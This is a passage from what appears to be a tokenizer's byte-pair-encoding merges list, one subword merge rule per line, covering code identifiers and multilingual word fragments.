UT +Ġout er +Ġ-- >čĊ +Ġrel ief +l ap +qu er +_p arent +he ap +LO SE +Ġcomb ine +ĠR ose +ow ers +Ġproced ures +ĠS ort +an im +var iant +eh icle +Ġsign ing +Pr imary +c urrency +Ġsex e +o en +th eta +em an +Ġimpress ive +(' _ +ĉ U +ĠText Style +_c nt +Ġs lice +(' : +Ġunderst ood +H is +Ġinform ed +Ġn ick +(T AG +h d +Ġelection s +est ure +ĠS anta +ĠCo ast +.p df +inc iple +.cl one +b orn +ut a +Ġl icensed +C r +Ġb read +ĠH ouston +Ġn od +Ġhop es +ĠCG Rect +Ġgu ilty +.g if +Ġro se +.Com mon +T ip +AN K +ĠF C +D uring +ĠSym fony +Ġdef ensive +k m +) > +arch ive +ĠU RI +ycl ing +- o +ĠWe bsite +AM P +ish ment +Ġdo ctors +D irect +AR I +ĠRed irect +ier en +_d ist +y o +ĠPro gress +Ġz um +Ġmem or +ĠE D +Ġj ur +æį ® +_T ABLE +Ġu uid +Ex pr +. head +(' % +point er +Ġest imate +ĠG reg +Ġlo ader +Ġi OS +Ġm ens +[ y +Ġref used +Ġprec ision +is ch +ĠA CTION +Cl oud +s With +( ret +_ADD R +_con f +(d f +Ġlock ed +Ġr ising +ãĥ» ãĥ» +ĠM s +Ġscen es +_EX T +_ raw +_ the +pe ople +Ġre con +ĠF un +Ġb less +ĠUp dated +ü n +ĠĠĠĠĠĠĠĠĠĠĠĠ čĊ +pe ction +Re lease +.log ger +ĠS Y +Ġcoun sel +ur d +_ true +Ġevery body +iv ot +Ġh ence +ĠN AS +Ġoppos ed +unk nown +ĠDES C +ĠCh air +fa iled +ĠIN CLUDING +Ġwrit ers +{ }Ċ +ÃŃ t +_c opy +} : +ĠB at +Ġconvert ed +ed ing +pl acement +ĠH ost +S ound +и м +Ġs ought +m id +Ġsal ary +og g +âĦ ¢ +b ul +Ġw ir +valid ator +_ST AT +.st ore +ĠB attle +ı n +Ġ-- >ĊĊ +Tr ump +d ot +ĠCON T +.f etch +Ġcontin u +w as +Ġfra ud +_t mp +mit ter +.p ictureBox +G A +Ġt ournament +. Input +[ r +ex ion +cent age +ĠKore an +und ef +ĠAv ailable +resh ape +Ġk it +ĠStr uct +ĠS UB +An swer +_l ib +.t witter +Ġo re +ĠDr agon +.Ex t +, k +Ġexplan ation +ref s +ĠDr ive +ĠTr aining +.H as +int age +b ig +olog ist +enn is +Ù ĩ +Ġch icken +ĠĠĠĠĠĠĠĠĠĠ Ċ +ç Ľ +ãģ § +Ġpe ak +Ġdrink ing +Ġen code +ĠNE W +m alloc +ĉf printf +Ġ= ================================================================ +in cluding +Ġprincip les +ĠM ah +st orage +- key +Ġkey word +% ; +Ġtr ained +.con trib +Ġk v +__ ':Ċ +ĠB oy +param eter +Ġsu ite +Ġthous and +Ġco ordinate +-g enerated +íķ ĺ +gener ated +Ġad mitted +Ġp ussy +# w +Ġsw im +un ion +N a +ĠRoy al +.ch annel +Up dated +_RO OT +Ġv ital +ra ction +ĠCrush er +Ġpre ced +Ġhor izontal +Blue print +Ġattr s +Ġsm oke +Ð Ĵ +. Equals +F B +ĠRes ources +roll ing +Ġpass es +ĠN um +rot ate +et ype +\ ", +Ġsens itive +Ġt all +? âĢĿĊĊ +Pro xy +i y +_ section +âĢĶâĢĶ âĢĶâĢĶ +br id +Ġcirc uit +at an +EN C +Ġdr iven +Ġvot ed +Ġeduc ational +Ġinter action +abet es +Ġt one +ĠInitialize Component +Ġmer ely +Ġì ŀ +co okie +_ div +ĠUIL abel +vel y +} );čĊ +_ ENT +#+ #+ +art icles +ĠSou thern +Ġstrong er +ĠG iven +ĠE ric +ĠI R +ab stract +U nder +n able +Ġincre ment +ov en +Ġco in +_t imer +Ġsuffer ed +ĠF REE +'] ." +ĠQue en +st ats +Ġmeet ings +Ġenter ing +Ġalong side +(s ession +it als +Ġfound ation +ĠC redit +. div +_ ALL +pc ion +_st at +ick ing +Default s +_s rc +Ġoutput s +/ B +Ġent hus +-b l +.Fore Color +ĉ temp +F ace +Ġinter act +Ġwe ird +M ount +re ll +ud ents +Ġrequire ment +ĠS us +I ER +Ġe lected +re ference +ĠM E +Ġserv ers +.w ait +Ġsnap shot +il ton +Ġtri es +Ġt ipo +.T ime +> w +Ġmount ain +Ġp ounds +Ġ[ ... +ex ists +Ġng On +_M AP +Ġf lying +xi ety +ĉ value +_D B +un o +Ġse ats +T URN +. author +! ) +or ce +Ġindic ated +.s in +Ġass ignment +im iento +ĠF rame +_g en +in ery +_ ) +m essages +.set tings +ĠMe an +ĠM useum +ir q +att ach +ĠPalest in +_ QU +_t ags +Ġcas ual +em en +ASS WORD +$ s +ĠC irc +оР¹ +et ric +/ P +Ġep och +< head +_C MD +Ġg it +Ġpen alty +or ph +_ users +ours es +.Date Time +atern ion +_pro ject +Ġsuper ior +ĠD am +ĠSe attle +X Y +> The +ĠA k +Ġgr ass +/* čĊ +(d is +Ġgun s +Ġt b +ĠK evin +. args +ĠA h +op ed +( J +column s +arg uments +ĠWith Events +_f ull +ĠDef ense +S imple +Ġdeath s +Ġext ensive +ĠSt ill +ĠEx pression +ĠAg ency +Ġperform ing +F X +Ġus uario +U AL +S ide +od os +apt op +Ġcred entials +_c ap +at ient +ĠDis ney +Ġa i +Ġch ip +Ġvol t +.make Text +%%%%%%%% %%%%%%%% +Ġbelie f +_LO C +ĠC ivil +N avigation +Ġreve al +Ġviol ent +ĠF il +Ġc atalog +em ed +sc an +. control +Ġconstit ution +C ountry +Separ ator +_A PP +top ic +uet ooth +M IN +Ġdes criptor +y t +ET HER +Ġdistrib ute +' }Ċ +.tr im +.L ine +Ġl bl +assert Equals +ĠD et +omb ok +( width +Ġt ort +ĠEXP RESS +ac o +Us ing +ĠBr and +w all +EM ENT +ĠComm unic +< uint +ĠG UI +EG IN +ĠR ange +/ i +ĠT aylor +c ost +Ġrespond ed +ĠTh eme +n ce +IS H +Ġfeat uring +Return s +ĠK r +Ġ .Ċ +Ġn am +_c b +Test ing +Ġ{ }, +y al +.f ield +Ġ/ = +_SH ORT +m ates +Test Case +ain less +Ġeval uation +_ ITEM +ĠPac ific +ĉ k +Ġc ant +ĠR os +) s +Ġf et +STR ING +ĠDis pose +g al +ĠJ oin +ĠP orn +ĠCath olic +AR GET +cp u +ç łģ +.sc roll +IS ING +ifest yle +anc ement +Ġm erc +ĠB rowser +eter min +Ġover flow +Av ailable +Ġbott le +: UI +ific ial +Ġco ord +clar ation +Ġcon j +G LOBAL +ok u +Ġk wargs +cond itions +ul um +Ġg enu +ĠH ero +å İ +Ġun expected +ĠDAM AGES +Ġk a +ĠC ould +UP PORT +ĠPh otos +Ġconf ident +Ġdet ected +de g +rg b +Ġstrong ly +Ġ} ;čĊ +Ġ) : +Ġle ct +urs ive +RO L +ĠWe ight +Ġent ertainment +Ġ) );Ċ +Ġg onna +Ġb b +.d o +G S +Ġmist ake +D L +ĠPROVID ED +ear ning +L imit +iss ions +[ v +ä¸ į +ir ty +D el +Ġunder lying +pre ne +Ġj aw +ĠD I +pe er +Ġobject ive +Ġde posit +Ġk on +Ġes p +.set Visibility +/ login +< typename +Ġfr anch +/ e +Par allel +Ġsc ored +ĠH on +ĠV ill +ig a +Ġant icip +_ assert +ĠO pt +Ġdescri bes +w an +m ount +Ġmonitor ing +Ġt out +ëĬ Ķ +}, { +................ ................ += int +Ġc ust +---- -- +Ġatmos phere +P AR +ort e +IS IBLE +ĠI ron +ĠNot ification +.log ging +ĠBO OL +-p oint +Ġaf raid +ent a +Ġtom orrow +@ implementation +Ġeng age +ĠAn th +ĠF loor +ĠU l +To ols +Ġb ab +Ġcare ful +ãģ Ħ +Ġcruc ial +Ġcalcul ated +ĠS A +Ġw y +D X +_T AG +ind ed +Ġj et +ĠEngine ering +.M AX +en z +v d +Ġpublic ation +Ġ## # +Ġfac ed +ra ham +ĠC apt +As set +ĠCon stants +Ġlo ans +_ IP +ĠF ish +Red uc +_m at +Date Format +_m e +[] [] +Ġintegr ity +ĠC ourse +lob als +Ġfac ilit +Ġem br +ĠN g +.S ystem +Ġmanufact urers +Ġpro ven +.on Create +Ġal arm +Ġ § +Ġcomm only +ic os +æĸ ° +ĠSt ation +} ). +ĠF ilm +w i +ç ī +Ġeng aged +St ats +Ġgovern ments +Ġafford able +_p roperty +Ġag es +(' -- +Ġf ör +ĠProf essor +Ġhy dro +P ush +Ġorgan ized +Ac cept +é m +_c ell +Ġn b +p b +Art icle +Ġrem oval +Ġauth entication +ĠF R +l ide +Ġple asure +ap ol +Ġpart ition +ĠS ide +Ġcr imes +Ġdem o +hold ers +ĠPak istan +In struction +Ġexpect ations +.sc ene +Ġ' ) +h es +ino is +_P ro +Ġm olec +and al +_sh ort +Ġdefault s +Ġn ations +in en +Ġr t +O CK +P acket +S B +ĠSH ALL +_cont ents +ise conds +vert y +á t +G uid +n om +Ġcon clusion +. Update +Ġlo vely +Ġem it +b ec +ĉĉĉĉ Ġ +Ġintel lect +Ġb rew +ec ycle +F ire +Ġad mit +Ġar bit +Ġarr ang +ĠM IN +M ail +ĠN ative +C ur +Ġcon vent +.R untime +" }Ċ +.R un +Ġprint ed +Ġconven ient +. ar +m ock +ĠAdmin istration +ãģ ¾ +Ġelect ron +fl ate +Ġl ombok +Ġjava fx +n h +Ġsup plies +Ġvisit ing +ah l +Ġpow der +Ġult imate +Ġorient ation +ut as +_s cale +Con firm +ph ones +ĠOper ation +/ T +_IN TER +Ġair port +Ġmet rics +Ġphen omen +a udio +Ġm ai +( K +h u +all ing +rodu ction +ĠTrans port +ĠNOT E +æĸ ĩ +Ġfew er +_T IM +ì § +к и +A ge +F IN +Ġì Ŀ +ĠAt tribute +group s +er k +at to +. define +.AspNet Core +ategor ia +ĠS ir +( form +< User +. round +_d ay +.A ll +Servlet Response +.N o +l arge +IG H +qu ent +Ġvir us +Ġret ro +Ġim per +Bit map +Ġv ice +Ġoff ense +ist e +ĠA UTH +Ġê ° +ToolStrip MenuItem +G u +Ġr ape +ĠDav is +Ġover whel +: flutter +- table +ĠCon structor +Pr ivate +e ven +ch r +Ġap plies +_at tribute +Ġcon tribute +E VER +L ines +ĠAf ghan +Vis itor +ĠS L +se ason +C U +Ġintrodu ction +Ġmat plotlib +Å ij +Ġnewsp aper +âĢĶ and +< tag +Ġin i +Ġd iverse +Ignore Case +ĠU r +Ag ent +Ġb ull +.em it +( Exception +ar Layout +Ġincred ibly +ĠTr ust +={ ( +- nav +Ġe quals +Ġl ady +ĠP od +d isc +al am +ĠI V +â Ļ +iv idual +ph i +add ed +Ġdifficult y +Ġcomp act +ĠAction Result +c ers +_class es +Non Null +Ġqu it +Ġp ou +S witch +ir s +- test +ĠK ind +ĠCal endar +Ġstream ing +} ', +S W +Ġst ead +oc a +Ġprov ince +Ġcol span +Ġperson nel +ĠE mployee +Ġprodu cer +Ġevery where +od b +Ð Ł +bs olute +act ivate +Ġgr inding +ĠBuild ing +ĠSand ers +(s c +ĠOff set +//////// //// +} ;čĊčĊ +({ " +Ġscan f +ĠY Y +ĉdef er +Ġj ew +Ġrestrict ions +.m p +[ l +ä¸ ĭ +label s +red icate +aw esome +Ġw aves +Ġcon front +Ġmeas ured +Ġdat as +_ex it +ot ton +Ġshould er +ask a ++ # +ĠĠĠĠĠĠĠĠĊ ĠĠĠĠĠĠĠĠĊ +Ġtro ops +ĠU nd +_c ard +w ich +Ġn ous +Ġ"/ " +s b +Ġcommunic ations +Ex port +Ġdec ode +th s +inter pret +By Name +ĠSp irit +ed ges +O LE +ĠE M +t it +ĠTh rough +Ġb io +ĠP ackage +or ne +Ġ} . +` ;Ċ +Ġok ay +ĠZe aland +ident ity +(n ext +ĠB ang +Lib rary +Ġheav ily +il on +Ġdi pl +Ġrot ate +put s +) ',Ċ +ĠData Table +Ġmay or +.to LowerCase +Ġsome how +ĠNor thern +al c +Ġcap abilities +Ġv ibr ++ Ċ +ĠS u +ĠRes et +_m ean +Ġc ig +.cl oud +ĠB and +ĠF actory +ĠAr izona +_ io +op her +Ġconsc ious +Ġà ¶ +\ Controllers +_s peed +ĠF ac +_C om +ĠB ible +w en +ED IT +Ġun n +ĠSt aff +ĠIn n +Ġmechan ism +ĠM embers +Ġmigration Builder +'] .' +.get Int +< void +ĉf ree +oid s +\ Support +Ġautom atic +Ġch ances +Ð ¶ +Ġcomp licated +[ row +ah oo +Ġ}ĊĊ ĊĊ +Model s +W in +Ġt ape +ir us +iz on +on omy +(" _ +: . +.st ereotype +( env +_re ct +(w ith +Ġassert That +Ġcon straints +put y +E mployee +T D +Ġgu itar +ĠJew s +.pro cess +Ġf iction +ĠSh ared +âĶĢ âĶĢ +Ġprop ag +.N et +Ġachie ved +ĉ Q +Ġn urs +Sh ared +_FAIL URE +Ġbeh aviour +Ġcol s +ism o +Ġfem in +Ġchalleng ing +Ġpost ing +enc il +Ġcapt ured +ĠD ou +( word +ĠTur key +pan ies +Ġre putation +ORM AL +Ġelig ible +prot ocol +id as +(f rom +Ġfin ance +- per +Ġg otten +H A +d uration +ĠP arent +Ġin vent +Ġre start +ол ÑĮ +r ition +(r s +< bool +i ert +Ġmod ification +ĠT X +readcr umb +b ank +$ / +ĠMill er +] ),Ċ +.Check ed +Ġsac r +se curity +Ġp ose +ĠBr ad +Ġfit ness +Ġannounc ement +ation Token +Ġserv es +ne ed +Ġge ometry +AR S +æ Ģ +andid ate +Ġs prite +_s plit +We ek +ad ies +> (Ċ +?> " +Ġ/// Ċ +Ġein er +Ġweek ly +ĉlog ger +_p op +_m an +Ġmigr ations +Ġask s +Ġb s +Ġfall s +.W here +- height +_fe ature +.M in +Ġhy per +Ġvol atile +Ġtw enty +Typ ography +Un able +D et +, f +-m od +Ġsett lement +Ġcontract s +n ome +B ad +ĠB rian +(user name +!! !! +Ġh ack +.F ield +H R +ĠJ ordan +iz a +Ġ ł +ĠSh er +. header +( other +ĠD ub +( op +ĠR ound +Ġv ie +Ġap pl +ĉ J +ĠIn sert +ĠL P +reg on +ĠM PI +Ġan chor +ac a +ø r +Ġa de +anch or +que e +ĠTree Node +Ġtarget ed +Ġla id +AB EL +v et +ĠOr igin +A nt +. ');Ċ +ex pect +ed Reader +ĠM ajor +Ġin ch +Com par +Ġpre view +Ġill ness +ĠCONTR ACT +ĠInd epend +u uid +Ġn ome +Ġt c +ĠA venue +is an +Ġph rase +_m ove +") [ +Ġprov ision +Ġconcent r +_ IR +ĠU t +() + +Ġn as +! , +ĠRob in +i ations +at itude +Ġp x +ĠWith out +/b ash +ek t +re ement +Ob server +ĠReg ion +UBL IC +Ġ{ // +K N +å · +Game Object +å ¾ +enc oding +Ġ** * +project s +Ġt k +Ġche ese +EM PL +ar o +Ġا ÙĦ +Ġcons ists +ref resh +ure au +ĠSc anner +Ġso il +Ġfl avor +Data Source +Ex ecute +ени е +Ġsh it +åĪ Ĩ +< any +Ġretrie ve +Ġbelong s +.st rip +abs olute +Ġexp anded +bo y +): - +Ġresc ue +.J Label +Ġre ly +Ġal ignment +-f amily +Ġre nd +OLUM N +Ġb orrow +Ġqu otes +ĠL ew +Ġsh ower +ĠDE LETE +_lo op +! "ĊĊ +ĉ re +Ġattempt ed +aver age +ĠP aint +quis ition +ol en +Ġliter ature +ĠRe ference +_TEXT URE +ĠS eg +ĠInd ust +ct ype +D UCT +_H OST +ĠTr ade +Ġpl ugins +Ġbre ast +ul se +Ġcreat ure +ãģ Ļ +ĠW i +Ġsup plied +c oll +! (" +Ġfuck ing +ĠCh rome +ĠU ri +ĠN ation +Ġvert ices +T HE +ĠOr iginal +on de +Ġsh arp +Ġcook ing +Ġ{ /* +ĠPs ych +ĠH ollywood +=$ _ +.D ock +Ġg er +Ġb one +_con n +_se c +ys ics +Ġ= " +S al +s f +Ġdeep ly +ang les +T erm +b ell +ĠQu ick +ener ation +adio Button +åħ ¥ +}čĊčĊ čĊ +Ġcapt ion +l c +ĠE L +, [ +ĠĠĠĠĠĠ čĊ +ret t +(m ethod +ĠFl ash +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +W ISE +.s cale +Ġrough ly +_ child +m emory +ay ing +Ġinitial ized +in ator +а ÑĢ +Ġsc alar +ĠH o +ai res +(c olumn +.de stroy +P ACK +Ġh em +ang el +_S UB +. qu +Ġ × +DE FAULT +pos itories +ĠL ength +ĠF ast +Ġsign als +Ġ// $ +ri ers +Ġd ummy +AN Y +Ġperson ality +Ġa gricult +Pl atform +ER O +ĠT ra +Ġen orm +ĉ W +Action Result +Ġa ver +[ str +Ġ' -- +.S printf +Ġdeb ut +Ġ Ñĩ +h ex +_ utils +Ġp b +U ITableView +Ġz ur +. encode +Ġv ag +.error s +о н +Ġm r +ĠA ward +Ġc pu +Ġpress ed +' est +ĠF estival +' T +Ġa k +res olve +.m e +Ġn ic +Ġgen re +Ġat trib +ĠMo on +Ġarr ive +ĠD ating +Ġt m +.Config uration +. red +Ġgl m +Ġst ations +sw itch +Ġt ied +äº º +Ġ/ >Ċ +Ġsubsequ ent +pos able +-fl uid +Ġth orough +Ġpublic ly +apt ers +ĠWil son +_P RE +y ard +ä ¼ +ĉ in +Ġre vers +Ġbul let +cri bed +nes ota +Ġ($ _ +ann on +c ursor +Ġclo thing +ĠM ulti +: ', +Ġv ess +ordin ator +Ġein em +C annot +Ġar med +ĉ V +ä¸ Ĭ +.F lat +ĠS ep +ĠSub ject +_f ont +Ġcharacter istics +D one +el n +######## #### +PO S +Ġd ensity +ĠPl atform +- items +Ġo vers +Ġpush ing +ç ¤ +.Con nection +_ term +Ġinitial ization +________________ ________________ +ç ¬ +.d ocument +les h +ĉd ocument +ĠP in +ç a +Ġdefinition s +.P ath +_W RITE +Ġ ĉĊ +? >ĊĊ +Ġter rible +be an +ick ets +ĠS V +B uy +(t ask +Ġreg ime +g oogle +Ġcr ack +.vis it +N UM +ener gy +Ġstr uck +_s ample +.p ayload +Ġre vis +ĠSc ene +Ġp g +Ġbreak fast +URRE NT +.char At +_ex ception +ĠAnt on +Ġguid elines +Ġex haust +ĠFin ancial +Ġind ent +Ġdes ktop +H idden +F ailure +Ġpr inciple +Ġ iv +Ġse ks +n etwork +Ġnumber Of +ĠAl bert +ĉ long +, . +Ġz eros +f ade +ĠT yp +ĠT erm +ĠAr ts +.App lication +Ġbeh alf +æĪ · +Ġm ere +(` ${ +Ġaware ness +elp ers +f lix +Ġwe igh +Ġestim ates +. child +/ O +ĠBit map +.b ottom +Ġ************************************************************************ ** +Ex pect +ent o +ĠFor um +ver al +Ġj ail +Ġab ilities +ĠH OLD +ĠC it +Ġd ynam +Ġgr ay +ĉĉĉĉĉĉĉĉ ĉĉĉĉĉ +.next Int +ant ly +ĠAR ISING +( private +Ġreject ed +ĠN ic +Ġle ather += {Ċ +aly tics +th etic +.T op +.P age +={ ` +Ġ ;čĊ +de pth +m ann +W D +ĠS om +.R ight +Ġ) }Ċ +Ġtr ait +Ã Ĺ +i ac +Ġr v +S ample +.X ml +opp ed +ĠÑ Ħ +list s +Ġt ear +ivers ary +.c ollection +ĠCon stitution +ĠHttp Response +Ġbr ill +ĠP rom +h over +ĠM iami +Ġarg ue +_f loat +Ġ ãĤ +Ġn at +ĠT al +Ġinteg ration +(c ur +Ġrem oving +Ġco eff +ĠTh ough +Ġfore cast +ĠV egas +S ite +Ġtr ab +ĠHen ry +- i +Ġinvol ves +B T +Ġs lo +In voke +Ġl ucky +r at +Ġ? Ċ +Ġhand led +(f d +cont ents +ĠO FF +R F +Ġst y +ĠM otor +ter y +t ax +M AP +ĠMr s +Ġph ones +ĠUI View +")) );Ċ +( dev +ĠIr ish +Ġw s +D I +_OFF SET +ĠEvent s +Ġst ages +Ġ} // +Ġhab en +ST ANCE +ĠS in +ĠM oney +(t op +Ġappoint ment +VER SION +met adata +_com ment +Ġcolle agues +map s +â ĺ +Ċ ĉĊ +( al +_re q +Ġf ut +Ġarchitect ure +ĠWH ETHER +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +_s creen +Ġstyle Urls +Ġmon ster +. up +ph ia +Ġprocess or +ĠT err += ', +ĠMan ufact +ĠN T +k el +ib ern +ĉf ile +A li +rient ation +Ġ// ! +ap ore +ane ous +ĠC reat +f older +Ġh ay +Sup press +( left +Ġe uro +Ġdis claimer +ustr y +sh ips +_f d +ĠF a +_in sert +Ġro l +if ting +ĠCom ments +_b r +Ġloss es +ĠAdd ed +ch arg +Ġп о +_s ystem +ĠS ometimes +ĠSp ain +(g roup +ial is +Ġdoll ar +ĠAr gs +qu ires +ĠT en +.s css +Ġsurv ive +us age +Ġj un +im iter +ï¼ģ ĊĊ +Ġfif th +t oggle +Ġdecl ine +($ " +(L ong +ing e +Ġpil ot +-l ight +-r adius +Ġpod cast +Ġnatur ally +P ages +ä¸ º +ĠDes pite +Ġlight ing +Ġcr ate +ĠB inary +Ġredu cing +Ġe leg +ĠM ouse +ĠTest Bed +Ġbefore Each +_ ARRAY +Red irect +Ġf lood +Ġsh ips +Ġelectric ity +)* ( +ê ¸ +ĠV iet +her o +Ġd ia +ĠK ent +he art +Ġthreat s +_ acc +Ġs ymbols +is chen +_in st +C riterion +ĠT IM +. Height +Ġ âĢĻ +();ĊĊ Ċ +Product s +_S P +ĠC y +Ġdepend ent +est e +Ġdat os +d it +аР² +IGN AL +Ġless on +"> ' +ĠC over +ĠH ope +ĠT imer +Ġd ad +vid ers +ĠPh ot +/ ? +rop y +om ing +as ion +Ġ\ ( +ĠE T +ĠRe ading +Ġep isodes +l m +ech a +Ġne uro +Ġhar mon +Ġlib eral +- ind +D ATA +Ġevery day +Ġdiv ided +ĠActive Record +fig ure +U A +ä ¹ +riend ly +te ch +.game Object +иÑĤ ÑĮ +Ġmo on +ft ime +Ġno ch +ĠT ORT +ĠV M +.in itial +( child +Ġmus ical +Ġo c +b as +ĠH ay +_l ong +Ġmem set +ile y +adel phia +S V +ro at +_t x +Ġl on +ĠngOn Init +b p +ĠGold en +AC HE +Ġwor ried +az i +E ar +T ake +(f p +bur gh +_ Data +g res +ĠO nt +p us +Ġtrans parent +Ġp ocket +Ġr am +igr ations +. čĊčĊ +Ġ[ ( +Ġadopt ed +Ġreported ly +ĠD ream +Ġ} ));Ċ +los ing +Ġte eth +ĠBook s +", & +enn y +LE MENT +Ġg el +ĠPl ant +! âĢĿ +.h ost +ĠRep ly +re ngth +Ġrecogn ition +Ġ}} >Ċ +L A +Ġmir ror +Ġassist ant +( device +Ġspirit ual +b uilder + § +Ġou tr +Ġt t +ĠP ER +Ġrad ical +Method s +Ġp ace +ud y +Ġg ut +ĠG reek +Ġnon atomic +ĠP aper +_G PIO +Ġob st +.A d +viron ments +ĠS ov +( con +ĠTrans action +. assign +ĉc atch +el ter +Ġbit coin +_G R +ĠčĊ +met ic +Ġtrans formation +åı · +Ġr gb +istrib utions +Ġimp licit +/ in +dest ination +аÑĤ ÑĮ +Z ero +Ġun set +. where +.g o +Ġform ation +Ġdeclar ation +() čĊčĊ +ĠEx pl +ĉĉĉ ĠĠ +/ pro +.J SON +Ġdes k +.sub str +//---------------------------------------------------------------- ------------ +ly n +p son +dis able +ĠF unc +ĉ Assert +ĠM ARK +Ġdefe at +Ġbl ind +Ġconst ants +. headers +UIL D +Ġexp enses +P ixel +Ġh r +Ġf el +ĠEast ern +_d el +ĠC ub +Ġs q +ĉc ount +ĠD irectory +Ġex clus +Ġhistor ic +Ġ ------------------------------------------------ +Ġcom position +Ġdata GridView +ĠB urn +ĠB C +M aster +Ġsp awn +Ġbe aring +.Set Active +il o +Ġg allery +Ġfound ed +Ġav ailability +.s qrt +Ġp es +ĠD OM +m ate +O ct +Ġmatch ed +it ivity +Ġan xiety +.pr ice +ĠIn stant +ì Ĭ +Ġt ut +IC ollection +.sh ared +_s ql +t bl +lib rary +_de stroy +erm al +ĠNot es +ĠE in +Ġsou thern +ĠOTHER WISE +Ġmac ro +.l ower +cl s +Content View +.l ink +const ant +ĠB es +Ġsome body +n b +"> { +( local +.. ... +ĠN ull +m x +Ġà § +Ġp ause +-------- --- +_M O +ĠC M +Ġfor Key +ĠD VD +Ġclose st +_DE VICE +ĠSte phen +ĠB BC +ĠTr avel +P aint +ĠResult s +ĠR ule +Ġt p +Ġrat ings +c in +c sv +> / +ĠG OP +l ad +Ġ ÑĢ +Ġindex Path +m atrix += f +ars ed +Ġ} ); +ĠC os +ĠS core +Ġt ak +ĠE SP +ĠIN C +_N ULL +-f lex +"] [ +int o +el and +Author ization +_F ALSE +Ġg ate +Ġv id +ist ent +T IME +Ġre write +Ġt ie +Ġarch ive +.event s +.get Parameter +ĠPer mission +Ġprogram me +Ġ é +j ud +Ġcam eras +(s ys +ĠSy rian +Ġimpro vements +Ġh ip +Ġsu icide +Ġsch olar +Ġcompat ible +rem ote +.d own +F UNCTION +Ġman aging +ĠUI Kit +. raw +>> >> +Ġdem ands +ell ite +Ġd ent +ĠM icro +åı ĸ +'] [$ +ĠI E +im ension +Ġt rem +Ġg ained +.w ith +. ok +h ou +Ġb om +amp aign +Ġjoin ing +f ish +Ġadd Subview +Ġnor thern +.c or +ore t +D ie +in ish +_com p +Ġatt ended +Ġcoll apse +ĠS S +ac ent +_E QUAL +ĠDe ep +R GB +ĉ test +ol ves +us et +Un ityEngine +w riter +Res olver +, % +if ference +_re move +ond a +Ġfem me +de code +Br anch +Ġfl ush +Ġinnov ative +Test s +Ġ[' ./ +Ġcover ing +. admin +ultip art +(l ambda + namespace +ĠS port +Ġ! ( +ac les +Ġde pression +ĠK ong +Ġp ert +ĠCon n +ĠOther wise +/ home +s upported +Ġp ink +Ġinv ited +ñ os +_en abled +Ġ- Ċ +F W +en ers +ĠM Y +Ġsuggest ions +Can vas +Ġf er +ĠMarket ing +@ Test +unt u +ĠV en +ĠC ou +iv als +Don ald +lim ited +ĉĉĉĉĉĉ Ċ +Ġanal yst +( entry +Ġrepresent ative +_at tributes +Ġf ur +.h ide +res p +ado res +rid es +ĠJ osh +ro bot +ĠN AT +Ġs esso +Ġintegr ated +: true +part s +Ġst upid +: event +@end section +Ġp u +.T able +ĠY ii +` ;ĊĊ +Ġcl ang +=" "> +eng an +_param eters +.int ernal +ĠMod ern +Ġmet ric +Ġsem i +={ {Ċ +.am azon +ĠB B +aint y +view port +Ġstart Activity +dis patch +**** * +Ġfl av +iffer ent +[ this +Ġst ake +Ġarg ued +vious ly +.w ork +ĠO ak +O ld +( async +not es +Ġfl ip +Ġdis ag +ĠT E +ĉ error +< ' +Ġ» ĊĊ +Ġfilter ed +ĠM ach +Ġh ung +_d ump +_s amples +-dis miss +Ġr ay +Im plemented +D K +Ġj ed +Ġbreak s +Ġf its +. gr +ĠZ ero +or o +Ġequ ally +Ġ' [ +Ġconcern ing +< meta +play ers +_P OS +_s im +J an +Ġyour s +ĉ N +Ġsp ir +Ġch ampion +ĠAn alysis +ap a +ĠNS Log +_l ines +ñ a +ĉĉ ĠĠĠĠĠĠĠ +.S c +Re p +etro it +ur able +M IT +com pat +own ed +_ind ices +], čĊ +Ġdis covery +ĠDie go +ob i +. Index +Ġtrend s +PL AY +.n o +Ġl ens +_c fg +Ġan no +ag an +Ġperiod s +ter ms +y z +Ġattack ed +ib ration +PEC IAL +_ grad +Ġaccord ance +.Read Line +.de vice +ri x +. container +m ay +erc ise +ĠL u +Ġr g +ĠÑģ ÑĤ +ĉĉĊ ĉĉĊ +( un +TERN AL +Ġless ons +Ġalleg ations +Ġtrans mission +.Re f +M obile +ĠT ournament +ĠN ut +ĠG a +ĠCap ital +def inition +- exp +c lean +Ġfant asy +Ġenh ance +ent ence +'] :Ċ +ack ets +Ġcelebr ate +@ ", +Serialize Field +Ġarray s +t b +ĉ st +[ assembly +( reg +.c ategory +Ġimpro ving +Ġsal ope +Byte Array +Or iginal +Ġ[ {Ċ +åĽ ŀ +ĠCl in +oen ix +ĠS amsung +Ġmaint ained +Ġag enda +f ail +Ġpres ents +Ġtim ing +.m ark +' >< +Ġprom ot +Ġin cl +_ only +ë¥ ¼ +ĠAtt orney +- date +Ġlands cape +Ġf u +S Y +.p rop +ĠA rr +p ag +Parallel Group +': čĊ +Ġlog s +a unch +unc i +n ama +Table Cell +iss ues +. { +ec urity +_ex ec +old s +Ġhost s +Ġpro to +_ import +_s ort +ĠB ow +ĠN ormal +ĠF arm +.create ParallelGroup +R otation +. err +Ġp leased +it age +.W h +ĉĉ ĠĠĠĠ +M R +ĠM ORE +ĠN atural +_ transform +B ASE +ener al +ut down +.common s +W T +Ġa an +. Result +d og +Ġclick ing +), ĊĊ +# line +Oper ator +Ġc iv +Ġm erg +ob uf +ng then +Ġ[ { +Ġcan cell +tr igger +. : +W ORK +decl are +Ġdecre ase +ÅĽ ci +lo om +.N one +ĠM I +ĠJ ason +Ġhealth care +iam ond +s ylvania +* x +ĠR a +[ b +Ġprint ing +ph abet +ĠLab our +op per +Ġz ijn +-t arget +_F UNCTION +Ġo ct +ени Ñı +åľ ¨ +Ġwest ern +Ġcomput ers +ĠR ET +Hash Map +[ String +get Value +_D ATE +.N ext +ĠF if +é l +ick ed +æ İ +-M M +Ġ{ ĊĊĊ +Ġcontact s +Ġdig its +Pro du +Ġunus ual +Ġrapid ly +t ures +Ġang ry +c ancel +xx xx +_p arser +id ity +_P REFIX +Ġme hr +Ġrare ly +et he +op es +Ġ% . +work s +Ġthe ta +Ġcontrib ution +ĠT ony +Ġsqu ad +аР¹ +Ġî n +th ere +out ed +ĉ q +Ļ Ĥ +g ood +L I +é¡ µ +ĠL iving +iz abeth +Ġk 